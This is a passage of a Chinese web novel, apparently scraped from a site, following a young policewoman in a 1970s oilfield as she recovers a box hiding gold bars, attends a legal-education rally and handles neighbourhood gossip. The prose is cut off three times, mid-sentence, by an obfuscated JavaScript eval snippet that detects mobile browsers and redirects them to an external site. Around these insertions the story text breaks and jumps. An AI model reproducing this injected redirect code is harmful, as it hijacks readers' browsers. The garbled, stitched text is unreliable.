两兄弟乐颠颠地离开,临走前还问了一句:“你们要去废品站?需要我俩帮忙不?” 关顺摆摆手,两兄弟也不纠缠,哼着歌儿离开。 姜楠跟在关顺后面,问道:“关组长,问清了?怎么回事儿?” 关顺也不隐瞒,将中年人的口供复述了一遍:“中年人叫张大力,他家儿子张三是戴红袖箍的。前一段儿打砸了一家,说是以前市里的剥削资本家,虽然资产交公了,但还藏着好东西没交出来,他们就去家里打砸。张三发现一个木盒子不对,没声张,混在打砸的东西里,准备事后到废品站再捡。这不,估计打砸那家收获不错,这几天他们忙得很,他就让他爸去废品站里找,可是连找了五天都没找着,这才露了马脚。” 姜楠嘴角抽了抽,张三,这名字可真够潦草的。你说说,做父亲的都有个大力的名儿呢,好不好的另说,但给儿子叫张三,这也太糊弄事儿了吧。不是说这年代都重男轻女嘛,这也太不把儿子当回事儿了。 姜楠不理解,但她忍住没说,而是问道:“他咋想着事后去废品站里找呢?他要是有心,不会当场藏起来?” “那盒子不小,说是有信纸那么大了,他藏哪儿去?再说这么多人看着呢,他动不了手。他偷偷把那盒子踢到床底下,床打砸了,盒子应该没事儿,他才放心走的。”关顺解释道。 姜楠真是长见识了,为了发财,啥办法都能想到。这年头虽然油田运动不是很激烈,但那是为了不耽误生产,家属院里其实还是能看到红袖箍的身影的。她有些担心:“案子会不会移交到革委会那边,毕竟是他们的家属?” “所以我们要先行动,找到东西,他们就算想做什么,也做不成了。”关顺睨了姜楠一眼,有些抱歉道,“今儿可能要晚点下班了,我们必须把东西找到。” “行,没问题。”虽然要加班,姜楠还是很开心的。在废品站里翻找,说不得她也能捡漏儿呢,她问,“他有没有说那个盒子什么样儿?” “很普通的柳木盒子,说是刷了黄漆,外面镶嵌了一圈儿彩色石头,不值什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493812|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打砸的时候那一圈儿石头掉了,但那小子拎起来摔的时候,觉得盒子重量不对,才起疑的。” 两人很快地来到废品站,关顺叫门:“蔡大叔,温强,邹立,开门,我们来办案了。” 蔡大爷虽然年纪大了,动作还是很利索的,他很快地开了门,说道:“警察同志,你们放心,你们一走我就关门了,谁都没进来过,两位警察同志也能作证。你们放心找,我啥也没动,你们一定能找到的。那个男人啊,一看就是来寻宝的,他这样儿的人我见的多了。” 见温强和邹立在大爷身后点头,关顺这才放心。 两人和温强、邹立汇合,关顺还要开口说话,却见蔡大爷站在那里不动,他挑挑眉,蔡大爷这才如梦初醒般退了出去。 关顺将中年人的话又小声说了一遍,四人开始在木头区扒拉翻找。姜楠还真发现几个好木料,像是什么完整的桌子腿儿,缺了盖子的木箱子,虽说不是啥好木头,但好歹是完整的,她爸喜欢捣鼓手工活儿,拿回去说不得还能做个啥呢。 翻了半天,姜楠算是知道了,在这里寻宝?那还是做梦比较快。 仔细想想也清楚了,什么时代的人,都不是傻子啊。 这时候的物质多贫乏啊,就算打砸,红袖箍动手之前,肯定要先过一遍的。即使不能光明正大地昧下东西,偷偷摸摸总是能做到的。那些人里面,可不全都是脑子发昏的热血青年。 而且砸过的东西,要是还能用,红袖箍都会送去二手商店卖掉,作为以后的活动经费,只有那烂的不成样子的,才会被送进废品收购站。所以啊,姜楠就算是想寻宝,也不会在这里。 姜楠卖力地翻找着,把看中的一些木料放到一边,见关顺望过来,她挠挠头:“我见这些木料还算完整,想着买回去,是不是可以做点儿啥。” “行,你别忘了正事儿就行。”关顺没管那么多,废品站里的东西本来就可以买,他才不会说什么呢。 温强、邹立眼前一亮,也跟着照做起来。 “警察同志,你们喝点水。”蔡大爷从外面端进来四个杯子,挨个儿递到众人面前,他赔笑着问,“警察同志,你们是想找什么时候送过来的?东西都是我整理的,你们给我说说,说不定我能提供点儿线索呢,是吧。” 蔡大爷眼神闪烁,他也有私心,警察找的肯定是好东西,他不求能吃上肉,跟着喝点儿汤也好啊。他在这里干了七八年,别看工作不咋体面,但收入真心不错的。一些好的木头、陶瓷碎片、有些年头的被撕烂的书画之类的,他都收着呢。这好东西到啥时候都是好东西,他放着,总有用到的时候。 “不用了。”关顺哪里不知道老头儿在想什么,他咕咚咕咚喝完水,递过去道,“多谢大叔了,我们今儿翻一遍,找不到就不来了。” 蔡大爷点头哈腰,转身离开。他看出来了,警察要找的东西是木头,嘿嘿。 姜楠挑挑眉,低头继续翻找起来。废品站里的木头属实是不少,姜楠挑出来的好木头都堆成半米高了,那个不对劲儿的柳木黄盒子还没影儿呢。 她起身捶捶腰,不忘跟系统唠嗑:“小统啊,你扫描没?那人说实话了吗?真就一个小盒子?” 【对,就一个盒子。他们父子认为盒子里有黄金,这才藏匿起来的。】 “好吧。”姜楠安慰自己,“天将降大任于斯人也......” 天色越来越暗,关顺打开手电筒,固定在斜侧方的窗台上,四人继续吭哧吭哧翻找。姜楠头发都灰扑扑的了,幸亏她是短发,扒拉两下就成,不然长发乱糟糟的更难看。 “小楠。”姜满城拎着饭盒,一旁的陈金花推着车子,右边车把上还挂着一个饭盒,两人在收购站门口叫人。 姜楠听到声音,乐颠颠儿地跑去开门:“爸,妈,你们怎么过来了?” “这都啥时候了,你还不回家,我和你妈可不得担心?这不是给你送饭去了,你们同事说你在收购站,我和你妈才过来的。”姜满城解释,同时上前,跟关顺握手道,“您是关组长吧?小楠都跟我说了,说您是特别好的组长,真是多谢您的照顾了。小楠这丫头养得娇惯,您多费心。” 说着,他不忘打开饭盒邀功:“这不听说你们组都在,饭也没吃,我和小楠她妈特意过来,多送一些。关组长,强子,邹立,你们也都吃,不是啥好东西,你们要是不吃就是瞧不起我姜满城。” 关顺三人看着饭盒里的大葱炒鸡蛋,吞咽了一下口水。说实话,这个点儿了,谁不饿啊,没看姜楠口水都滴答下来了嘛。 关顺也不是个扭捏的,直爽道:“那我就不客气了,今儿吃了你的好东西,改天我得尽一百二十个心,照顾姜楠喽。” 他开玩笑,姜满城却摆摆手:“开玩笑开玩笑,关组长您就是不吃,那也是对谁都一百二十个心。您呐,我看一眼就知道,是个实诚人。” 温强和邹立点点头,关顺在组里一直都很有威信,大家很认同这个话。 姜楠嘿嘿笑着,心里暖洋洋的,她爸,啥时候都不忘了给她铺路啊。 四人没再废话,一人拿一双筷子开吃,姜满城和陈金花则帮着翻找。一个盒子而已,两人又是警察家属,关顺也就没瞒着。姜满城不愧是姜楠她爸,两人一脉相承,都是边翻找,边将好东西放到一边儿。 也许是四人找的差不多了,姜满城翻了没多久,就举起一个缺了盖儿的黄盒子道:“关组长,你看看是不是这个?” 关顺已经吃完了,此时盖上饭盒,三两步上前,颠了颠盒子的重量,点头道:“对,就是这个。咱们再翻翻,尽量把盖子也找到。” 话音刚落,就听陈金花尖叫道:“哎呀,是不是这个?” 姜楠咽了咽口水,这她和同事们找了这么久,怎么她爸她妈找了一会儿就找到了?莫非她爸她妈有什么锦鲤体质? 姜楠白日做梦,美得都冒泡儿了。 关顺同样开心得不行,没想到这么快就找到了,他说:“走,送到派出所,蓝所和沈所都等着呢。” 38. 普法宣讲 姜楠都要美得飘起来了,金子啊,你说说谁听了不兴奋?虽然不是她的,但能见识见识,开开眼界也是好的啊。 没见姜满城和陈金花也拎着饭盒,刺溜儿跟上,自行车都要镫冒烟儿了。 只是吧,事情哪里会那么容易。 一行人来到派出所,还没进院子,就看见两个红袖箍站在门口张望。看见六人来了,一个急匆匆回去报信儿,一个则直直盯着,生怕六人携款逃跑一般。 六人放慢车速,关顺则低声告诫众人:“革委会那边来人了,说话注意点。” 虽然油田不算太闹腾,但这年月,这个部门那是哪里都有的,第十作业处自然也不例外。 温强气愤地小声嘀咕:“肯定是万翔那小子告诉他哥的,当初沈所就不该答应让他进来。” “行了,少说两句。” 关顺厉声警告,温强脸色还是很臭,却识相地闭了嘴。 虽然不想承认,但这个部门,能不得罪还是不要得罪的好。温强即使有点儿莽,也不是不明白道理的。 姜楠看看这个,又看看那个,心下了然,这是派出所被革委会安排了‘内奸’啊。 想想也不是不能理解,毕竟国家成立这么多年,‘有事儿找警察’已经深入人心,老百姓有事儿,肯定是第一时间去派出所,而不是革委会啊。派出所能接触到的人和事,比革委会多多了。保不齐里面就有什么资本家、大地主的漏网之鱼呢。 万翔他哥万虎盯着的,可不是人,而是这些人手里的金条。 五辆自行车缓缓停到院门口,关顺带头微笑打招呼:“这么晚了还过来,辛苦了。” 邹立、温强也挤出僵硬的笑容,姜楠一家子就自然多了,特别是姜满城,那笑容很有几分真诚呢。 瞧,成年人的世界,就是这么复杂。 明明心里恨得要死,表面却一派祥和。 祥和的众人心思各异地回到派出所大厅。 屋内,沈明光沈所、蓝青山蓝所坐在接待室的长椅上。对面,坐着‘内奸’万翔、万翔的哥哥万虎两兄弟。万虎身后,则站着一干小弟,五大三粗,十分不好惹的样子。 不同于后面小弟的凶神恶煞,万虎翘着腿儿,脸上倒是挂着和煦的笑容,见到姜楠时眼睛还亮了亮。 派出所特招了一个女公安,万虎早从弟弟这里听说了,没想到长得这么好,胸是胸屁股是屁股,大眼睛还扑闪扑闪的,扑闪得万虎的心还怪痒痒的。 万虎嘴角挂上意味深长的笑容,客气道:“沈所,这就是您特招的女公安吧?真是百闻不如一见啊。” 陈金花板起脸,三两步挡在姜楠身前,面色不善地盯着万虎。 姜满城的脸上则挂上真挚的笑容,看向万虎的目光都透着汹涌的‘爱意’。 万虎笑容微僵。他能做到革委会副主任,看人是很有一手的,陈金花虽然戒备,他还不放在心上,可这个姜满城,一看就不是个好惹的。 他虽然好色,可男人嘛,找女人还不容易,还是捞钱最重要,现在这么好的时机,错过,可不会再有了。 万虎收回眼光,不再直直盯着姜楠,而是转向沈所,皮笑肉不笑地说:“沈所,这可是我们革委会的事儿,东西找到了,可以物归原主了吧?” 沈明光的笑容十分公事公办:“这还说不好是不是你们丢的那个呢,咱们最好当众验货,彼此说清楚,省得以后再出问题,是吧?” 省得日后革委会又说这个盒子不是丢的那个。他们派出所白白给出去一个盒子,总得有个说法的。 万虎是有两把刷子的,他不动声色地点点头:“那是自然。” 说着,他抬起右手,随意地挥了挥,身后小弟压着一个鼻青脸肿的青年上前,万虎笑着对众人道:“麻烦关组长将盒子给张三看看,咱们也好做个交接。” 他转向沈所,笑容十分的耀眼:“沈所,这么做合规矩吧?” 沈明光冷冷地嗯一声,关顺闻言,拎着盒子上前,上下左右地展示给张三看。 张三眼睛都被打肿了,眯缝着眼仔细瞧,气若游丝地道:“是......是这个。” 万虎看向沈明光,沈明光才不想掺和这些事儿呢,见确认了,他冲关顺点点头,示意他把盒子给革委会。 万虎起身,笑着和沈明光握手:“打扰沈所了,我们也不耽误你们的事儿了,这就走。” 沈明光呵呵笑两声:“不打扰,慢走。” 万虎吹了个口哨,呼啦啦,革委会众人瞬间跟在万虎身后离开,就连万翔这个‘内奸’,都消失的无影无踪。 温强低骂:“不要脸。” 蓝青山作为总管外勤的副所长,脸色也很难看,但还是低斥道:“好了,说话小心点,那边能不得罪还是不要得罪的好。” 他望向姜楠一家,说:“小楠,快回去休息吧。城子,你放心,派出所虽然忙了点,但伙食是极好的,保证大家加班也能吃到好的。其实你今天不来送饭,我们也是会派人给六组送饭的。” 姜满城笑容比谁都灿烂:“蓝所,那真是太感谢您了。您不知道,小楠能当警察,高兴地恨不能飞上天,加班有啥,是不是,小楠?” 姜楠嗯嗯嗯地点头:“蓝所,我不辛苦的,我喜欢当警察的。” 蓝青山心里松了一口气。 说起来,姜楠能这么轻松被特招进来,也是占了性别的光。 他们派出所,缺女外勤啊。 那是真的缺,太缺了好嘛。 别看今儿这事儿闹的挺大,其实他们派出所最常处理的,是一些家长里短、鸡毛蒜皮儿的小事。在这些事情的处理上,女同志就很占优势了。 以前他们也不是没有女外勤,可好几个都是生了孩子之后,为了照顾家庭,申请调到内勤了。如今六个外勤小组,就两个女外勤,另一个还是四十多快五十的大姐,家里没人接班,在外勤等着退休拿退休工资呢。你说你敢使唤这种人吗? 不是说这大姐混日子,是大姐年纪大了,万一抓坏人的时候有个什么,怎么办? 所以啊,蓝青山跟姜楠说话,态度都是少见的温和,一路笑脸地送这一家子出门。 姜家三人可没想那么多,等离派出所有些距离了,姜满城迫不及待地问:“快看看,那个盒子里有啥。不是我说,沈所他们就是太正直了,今儿这盒子不给那些人也行啊。你们上交还能赚到功劳呢,给他们啊,还不知道最后便宜了谁呢。” 姜楠边交代系统,边回答:“这本来就是他们的事儿嘛,而且沈所也是没办法。万虎别看是副主任,在革委会势力还挺大的。听说当初安插他弟弟进派出所,沈所去总部找了人都没能制止。” “那是沈所没真正上心。”姜满城不屑,“不然就沈所和蓝青山的能耐,能挡不住万翔?好了,他们打开盒子没?” “还没,等咱们到家应该差不多了。” - 时间很快到了周日,一大早,姜楠痛苦地从床上爬起来,用冷水拍了拍脸,煮了两个鸡蛋一个窝头,匆匆塞进肚子里,提上包快速跑出家门。 昨天她们一直等着看结果,答案大概九点多才揭晓。 盒子里果然有夹层,就在底座上,大概有一厘米厚吧,不仔细看是发现不了的。而且盒子外形非常普通,很难让人注意到。 万虎干脆暴力破坏,将盒子摔了个细碎,哗啦啦,掉出来八条小黄鱼。那声音,落在地上格外清脆动听。 姜楠吞咽了下口水,小黄鱼啊,八条,这她要是有一条就发了啊。 她骑上车子,压下心底的妄想,再一次跟系统吐槽:“你说你有啥用,这么多年,连条小黄鱼都没给我挣到。” 【宿主,人家还是很有用的啊,你看看你能天天吃好的,是不是我的功劳?还要啥自行车,是吧?做人,不能太贪心。】 姜楠哼一声,一路飞车来到派出所。案子已经移交革委会,不是派出所能管的了,她纠结也没用。 派出所大院,沈所长、蓝青山、何琳以及其他几位领导,都已经到了。姜楠热情地和人打了招呼,众人又等了一会儿,才出发前往周边的大队。 今日的宣讲有两场,上午在西河岸大队,下午在东河岸大队,每场2个小时。因为这两个大队挨得比较近,众人对这个安排并没有提出异议。 已经有油田领导跟大队沟通过,姜楠一行人到的时候,大队的晾场上已经搭起了台子。台子中央,主席台以及桌椅都摆好了,主席台右边,是供领导和主讲人发言的席位,上面放着崭新的话筒,其上蒙了一块儿红布,很有时代特色了。 油田的涂书记等一干领导也已经到了,下面更是坐满了人。虽然只是枯燥的普法宣讲,但这年头的农村,除了干农活儿,本来就没什么娱乐活动。能听别人说点儿新鲜事儿,还不用出工干活,大家当然乐意了。 主讲人自然是沈所长,涂书记级别最高,先发言,他也不抢戏,只说了半个小时就让出了位置。沈所长拿着稿子,信步来到主讲台,他面带微笑,说:“各位大队的农民兄弟,各位下乡的知识青年,还有在西河岸大队勘探的工人兄弟们,大家上午好。我是油田第十作业处派出所的沈明光沈所长,今日把大家聚集在这里,是为了普法工作。大家要知道,法律不仅是约束大家言行的条文,更是保护自己免于受到他人伤害的最有利武器......” 姜楠坐在主席台的最角落,她注意到,沈所长还没说五分钟,下面的村民陆续打起了呼噜,倒是年轻人和知青不愧是上过学的,也许是听惯了各种发言,还勉强有精神头。 她偷笑两声,在人群里找她奶、大伯、二伯等人,可惜黑压压的人头,看不太清。不过她没看见别人,杜荷花、姜满塘和姜满坡等人却将她看了个清清楚楚。杜荷花面露得色,姜满塘夫妻也为侄女高兴,而姜满坡虽然有小心思,更多地也只是羡慕罢了。唯有马红花,那是纯纯的嫉妒啊。 她都使上美人计了,却啥也没捞着,这死丫头,啥也没干,咋就去当警察了?这世上,咋啥好事儿都是他姜满城一房的?真是凭啥,凭啥,凭啥啊。就很想不通! 同样想不通的,还有不甘的裘盼儿。自从那天失态,她被裘老太送回了老家。如今已经在家三四天了,虽然田家光依旧对她很好,爱情的甜蜜让她有几分沉沦,但今日的宣讲,明晃晃地说明,她是一个失败者,是被姜楠比下去的对照组。 她嫉妒地发抖,双手紧握在身侧,却被身边的田家光偷偷握住,他关心地低声道:“盼儿,你怎么了?是不是哪里不舒服?昨天都是我没用,挑粪的时候还跌了一跤,害你......” “家光,不怪你,你受伤了,我帮你干点儿活是应该的。”裘盼儿回过神,眼神热烈。是啊,她还有家光,在家光眼里,她永远排在第一位,谁都比不上。她笑着问,“家光,你对我......是真的吗?不是看中我的家世?” “盼儿,你怎么能这么看我。”田家光仿佛受到了侮辱,他低声辩白,带着伤心与难过,“我是单纯的喜欢你这个人,与你是谁的女儿无关,更与你的家世无关。你要是这么想我,我们以后还是不要说话了。虽然我喜欢你,但我的人格不允许你这样侮辱我。” “家光,你别这样,我就是想确认一下。” “盼儿,你这样真的让我很难过。”田家光继续施展话术,他说,“你要知道,自从见了你,我满心满眼就都是你,再也看不到别人了。如果这样都不能让你相信,你还要怀疑我的话,那我们是真的不适合在一起的。我要的,是一个全心全意对我的女人,是能和我同甘共苦,共同奋斗的精神伴侣,而不是一个整日疑神疑鬼,不相信我的小家子气的女人。” “家光,你别生气。我相信你,我......自从见了你,我也是一样的。”裘盼儿红着脸,心里甜蜜异常。她是幸运的,她遇见了全心爱她的人,姜楠没有,她比姜楠强! 那个什么周知行,就是个垃圾。她可听村里人说了,周知行糟蹋了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你怎么想?这几天西河岸这里都有人传了,说他办丧事期间,同时看上了两个丫头,本来想占为己有的,谁知道见到你之后,觉得你家世好,这才赖上你的。”陈万里将大队的流言告诉姜楠,他说,“姥爷知道这瞎话不能信,但你也得把眼睛擦亮,不能随便谁都相信,知道吗?” 姜楠没想到事情被说的这么离谱,她很肯定地说:“姥爷,他还算是个好人,爹说如果他能说服曹奶奶,他就不反对。” 陈万里摸摸小姑娘的头,这才笑了:“你爹那个人比鬼都精,他都不反对,我也就放心了。” 说着,他从兜里掏出一颗糖,又从包里拿出一个小喷壶,说:“拿着,这是姥爷送你的礼物。” 姜楠将糖放进嘴里,拿着喷壶左看右看,好奇地不得了:“姥爷,这是啥?” 陈万里狡挟一笑:“迷药,姥爷早年从京城天桥底下得的方子。拿好了,以后用得着。” 姜楠:就总是忘了,她姥爷也是个神人啊。这迷药都能用喷壶装了,得配了多少啊。 陈万里:“行了,你去家里看看吧,下午不是还要去东河案那边,别迟到了。” “哎。” 姜楠挠挠头,把喷壶放进包里,蹦蹦跳跳地离开。不管了,反正姥爷又不会害她。 她去跟沈所长说了一声,小跑着朝山脚下走去。路过知青点时,远远瞧见二堂哥姜桂手里拿着个二合面馒头,递给对面的唐夕。那表情,羞答答的,比大姑娘还害臊。 “哎呀妈呀,老爸那个乌鸦嘴可真灵。” 姜楠心里吐槽,小桂堂哥,这是真看上女主了吧? “不是说,我们姜家在书里,就是背景板吗?” 【宿主,这个,剧情好像有点儿跑偏。】 姜楠:就,很无奈。 察觉到有人,唐夕语气更加坚决,她说:“姜桂同志,你不用这样,我只是实话实说,你不用特意感谢我的。你这样容易让人误会,不过还是谢谢你,再见。”说完头也不回地离开。 姜桂挠挠头,有些懊恼,他看向堂妹,眼神多少有些哀怨:“小楠,你怎么这时候过来了?” “嘿嘿,堂哥。”姜楠试探,“你看上那个知青了?” “别瞎说。”姜桂脸更红了,不过依旧义正言辞道,“我只是感谢她肯为我说话,我们之间清清白白的,可不敢乱讲。走吧,你是要回家吧。” “她怎么为你说话了?” “就是叶春萍叶知青的事。”姜桂也不隐瞒,将当日的情形告诉了姜楠,“她晚上和魏丰年约会,被大家当场抓包。她想抵赖说是我下午约的她,还是唐夕唐知青说,她下午在山上看到我一直在采蘑菇,这才没让叶知青赖上我。” 两人一路说着话,很快进了姜家院子。杜荷花一直拉着姜楠的手,看着孙女身上的警服,满眼都是光:“这跟当兵的似的,真好。” “奶,这警服和军装是一样的。”姜楠乐呵呵地介绍,姜河小朋友哇哇乱叫,羡慕地看着一身军装的大姑姑。 “小河,你要是一直都这么乖,姑姑就给你做一身小军装,好不好?”见小朋友这么兴奋,姜楠逗他道。 这年头,对军人的崇拜是深入骨髓的,就连两岁的小姜河都兴奋地吱哇乱叫:“我乖,我一直都乖。太奶奶都说我是个乖孩子。” 姜家乐呵呵的,就连马红花都不敢乱说话。不过她到底是没忍住,在姜楠临走前,假装关心地问:“小楠,听说你找对象了?是对面大队的一个退伍下来的?” 杜荷花绷着脸,却没出声斥责,只是面带关心地望向了姜楠。 姜楠笑了笑,她正色道:“二婶,我的事儿就不牢您费心了。奶,我爹会给我把关的,您别担心。” 杜荷花这才放缓脸色,姜楠下午还有事,在姜家匆匆说了会子话,放下一包点心,就匆匆离开了。 【宿主,东河案大队那边流言太多,周知行已经说服曹老太,答应婚后住到你家啦。】 39. 概率增加 说起来,曹老太第一次听到‘入赘’这个话,那是气得差点儿晕过去。她小儿子可就这一根独苗儿,怎么能入赘呢。 而且小行一表人才,又不是找不到媳妇儿,干嘛非盯着姜楠不放。姜家条件是好,但他们周家也不差啊,凭什么就得入赘了。 “奶,我知道您疼我。”周知行眉眼低垂,让人看不出情绪,他说,“您也知道,伯爷和叔爷他们两家可巴不得我过不好呢。这两天您也听到了,他们什么不敢往外说?!我这要是和姜楠成不了,估计他们都敢去革委会告我乱搞男女关系。” “他们敢!”曹老太眼一瞪,心里也有些发虚,不过仍是道,“可你也不必入赘啊,你娶姜家那小丫头不就成了。元丰可就你一根独苗,你可不能让元丰无后啊。” “奶,这不是入赘,您想啊,我父母不在了,我结婚后,小楠和我都有工作,谁照顾家?” 见曹老太要自告奋勇,周知行赶忙道:“您年纪这么大了,我可不想让您累着。那小楠父母都在,我们四个住一起,是不是更方便?而且,我会让一个男孩姓周的,您放心。” 周知行抬起头,笑了笑,继续游说,“而且我继续住在楼里,还能更好地孝顺您呢。伯爷和小叔爷那里,知道我住在岳父家,肯定也不会盯着咱们家不放了。他们觉得这是入赘,觉得丢人,心里才能平衡。” “可你就受委屈了,小行啊,你可别犯傻。上门女婿可不是那么好做的,那是要被人看不起的。你一个退伍兵,还是警察,干嘛去做那个。”曹老太还是不同意。 周知行也不生气,他特意支开旁人,单独和曹老太说话,就是因为这件事儿只需要曹老太点头。周元庆虽说是大伯,可却也管不了他入赘。只有曹老太,作为原身的奶奶,在这件事上还是有发言权的。 周知行想了想,坚定道:“奶,我就看上姜楠了,您就答应我吧。您看,姜家都答应让一个孩子姓周了,这怎么能说是入赘呢,我就是住过去而已。您想啊,姜楠辛辛苦苦生了孩子,想要一个孩子跟她姓,这也没什么啊,这伟人都说了,妇女能顶半边天,这孩子一人一半,很公平了。” “那女人谁不生孩子......”曹老太还是别扭,不过在周知行的持续洗脑下,在姜楠和沈所长一行人来到东河案大队宣讲时,曹老太已经吐口,同意了周知行和姜楠的婚事。 一脸懵逼的姜楠,就很无语。 这周知行,也太神速了吧。他不是古代来的,她姜楠才是吧。想她21世纪大好女青年,那也是遇到过几个男人的,虽然没结婚,但该有的都有,哪个渣男也没有这个神速啊。 【宿主,他们明天就回筒子楼了,后天周知行就去派出所报道了。】 “好了好了,我知道了。你怎么比我还心急。”姜楠吐槽,“真是皇帝不急太监急。” 系统:就很无辜。 周日宣讲很快结束,等姜楠到家时,姜满城和陈金花二人已经吃完了晚饭。只是听到周知行那边的进度,连正在盛饭的姜满城都抽了抽嘴角。他将白米粥递给姜楠,咬牙道:“这个小兔崽子,还真是迫不及待!你才十六,他也还不到二十,急什么!这样,咱们先定亲,等到岁数了再成亲。” 姜楠点点头,只能这么办了。 虽然周末没休息,但姜楠是周二才入职的,也不是很累,很快吃完了晚饭。客厅里,姜满城边听收音机边织毛衣,头跟着戏曲一摇一摇的,别提多惬意了。陈金花拿着拖把拖地,见闺女吃好了,忙上前收拾碗筷,说:“行了,去玩儿吧,大周末的也不让休息,累不?” 姜楠打个呵欠,摇摇头:“不累呀,妈妈,你最好了。” 见她爸手里织到一半的鲜红色围脖乐了,叫道:“啊,爸,是不是给我织的?是不是?” 姜满城皱起眉头,不悦道:“少一惊一乍的,耽误我听戏。这么鲜亮的颜色,不是给你的难道是给我的?你妈那条暗红色的已经织好了。” “哎呀,老爸你最好了。我最爱你了。”姜楠拉着姜满城的胳膊,好一通撒娇。 姜满城翘起嘴角:“好了,没见识的小丫头,一个围脖就高兴成这样。” 姜楠可不管她爸的吐槽,这年头毛线多难买啊,还是红色的毛线,也不知她姥爷从哪儿买到的,上个月寄来,虽然不够织成毛衣的,但织两个围脖还是够的。就连陈金花都对红围脖很期待呢,拖地都格外有劲儿。 拖完还坐在木质沙发上纳鞋底儿,哧啦哧啦的。陈金花从小力气大,不会什么精细活儿,家里扫地、拖地都是她干。最精细的手艺活儿就是纳鞋底儿,每次都是攒上十几双,拿到西河岸大队,让大嫂尹文娟帮着上鞋帮子做鞋。 姜楠看着她妈手里的千层底,感慨她适应力还真是很强的。以前哪里穿过这种鞋啊,不过一穿上,还真是挺舒服的。这鞋底子可真是软乎啊,虽然不咋美观,但舒适才是最重要的。 谁让,在这个年代,讲究美观,那也讲究不起来啊。 好容易有个周末,时间还不算太晚,一家人决定去供销社看看。上次的苹果已经吃的差不多了,得去看看有没有上什么新果子,家里的桃酥也得补货,总之一盘点,要买的东西还挺多。 供销社七点半下班,三人紧赶着下了楼,到楼下时,被方阿婆招手叫到一边,当着几个老阿婆的面,她柔声问:“小楠,你刚当警察那天,是不是处理了老吴头的事儿?他是不是当众摸了改改那丫头的屁股?” 姜楠当即严肃脸,用不容置疑的语气,坚定道:“不是,老吴头是摸了刘奶奶的屁股,方阿婆,你可不能乱说话。胡乱造谣,是要责任的。如果对他人的名誉造成损失,别人是能告你诽谤的。” 方阿婆暗地里撇撇嘴,表面却连连点头,她说:“哎呀小楠你误会了,我这不是听外面的人说的嘛,不是就好,不是就好。你们年轻人可要当心老吴头那个人,不是个东西,连这么小的丫头都不放过。”她捂住嘴,连连摆手,“我说错了,你别在意哈。我不说了。” 几个老阿婆都是一脸刻薄像,眼里冒着精光,一看就知道内心戏很丰富。姜楠再次强调:“方阿婆,你可要注意言行了,不然被带到派出所,可会影响你大孙子的工作呢。” 不过姜楠知道,这些话没用,闲话到底还是会传到楼上,甚至蔓延整个家属院。 不过此时姜楠一家还在去供销社的路上,她还觉得有些奇怪呢:“这院里的人怎么好像少了?大家吃完饭都不出来遛弯儿了?” 姜满城斜眼儿:“都出去了呗。” 姜楠不解:“出去?去哪儿?” 姜满城:“还能去哪儿啊,废品收购站呗。你们可是从破木头里找到金子了啊,这事儿早传开了,大家都去废品收购站淘木头去了。” 姜楠大大的无语,虽说是在废品收购站里找到的,但那是革委会的内奸故意混进去的啊,平常哪里会有这种好事儿。 那扔进废品收购站的木头,恨不能破成一节一节的,哪里会藏什么东西。 姜满城耸耸肩:“有金子在前面招手呢,谁还想得到这个。一个个跟打了鸡血似的,没看楼里很多人都不在嘛,都去捡漏儿了。” 姜楠再次无语,果然,她对这个世界了解的还是太少了。 - 三人拎着一包桃酥回到家属院时,刘老太和方阿婆,正在楼下掐腰对骂呢。 “你个不要脸的老货。你是不是看上老吴头了啊你。老吴头摸我屁股你这么生气,到处造谣我孙女,你这是嫉妒老吴头没摸你是吧?不要必脸的下作东西。” “呜呜呜,我冤枉啊。刘大姐,我就是听了几句闲话,我可啥也没说。你不好这么讲话的,我一个寡妇人家,你怎么能这么造谣?我的清白啊!” 姜楠抬头朝程家看了一眼,隐约听到呜呜的哭泣声。 【宿主,老程头要给程改改报名下乡。】 “就因为这个谣言?” 【对,他觉得丢人,觉得孙女在油田嫁不出去,想着放到乡下一两年,到时候再看。】 “你看看爆炸概率,有没有变化?” 【宿主,变成94%了,又上升了一个百分点。】 姜家三人,再次坐在一起。 姜楠,就,有点儿尴尬,事情太多,都忘了爆炸概率上升的事儿了。 姜满城摆摆手,分析道:“我是这么想的,程改改下乡,她心里至少会恨三个人,一是老吴头,他是始作俑者,最该恨。二是方阿婆,她帮着传谣,也不清白。三嘛,恐怕就是小楠,改改想嫁给周知行,这样就可以不下乡,但是这条路被小楠掐断了。另外她还可能恨家里人,除了刘大妈,其他人都有不对,她会觉得她爹不关心她,她爷冷漠自私,而大弟弟得了母亲的工作。要是下乡再遇到点儿不公,可能就会怨恨楼里的人。等可以回城了,说不得就会动手。” “那凶手会不会是改改?”陈金花问。 姜满城想了想,摇摇头:“应该不是,你想啊,就上升了一个点,说明改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你怎么没有?”姜满城点了点小丫头的额头,再一次强调,“金花,小楠,我知道你俩心善,但咱们才是一家人,在我心里,谁都没有你俩重要,全楼的人加起来都没有,知道吗?” “好了,知道了。”陈金花脸有些红,她男人真是,总说这些有的没的,没见孩子都不好意思了嘛。 姜楠:她没有,她就是在揉额头啊,老爸下手重,额头还有点儿疼呢。 姜满城见两人听进去了,继续道:“至于改改那边,知青办不会同意的。” 他脑子里有个主意一闪而过,愣了下,不过还是道,“先走一步看一步吧。下乡还有一个多月,不急。油田那场普法一定得好好做,只能祈祷改改下乡别遇到什么事儿吧。” 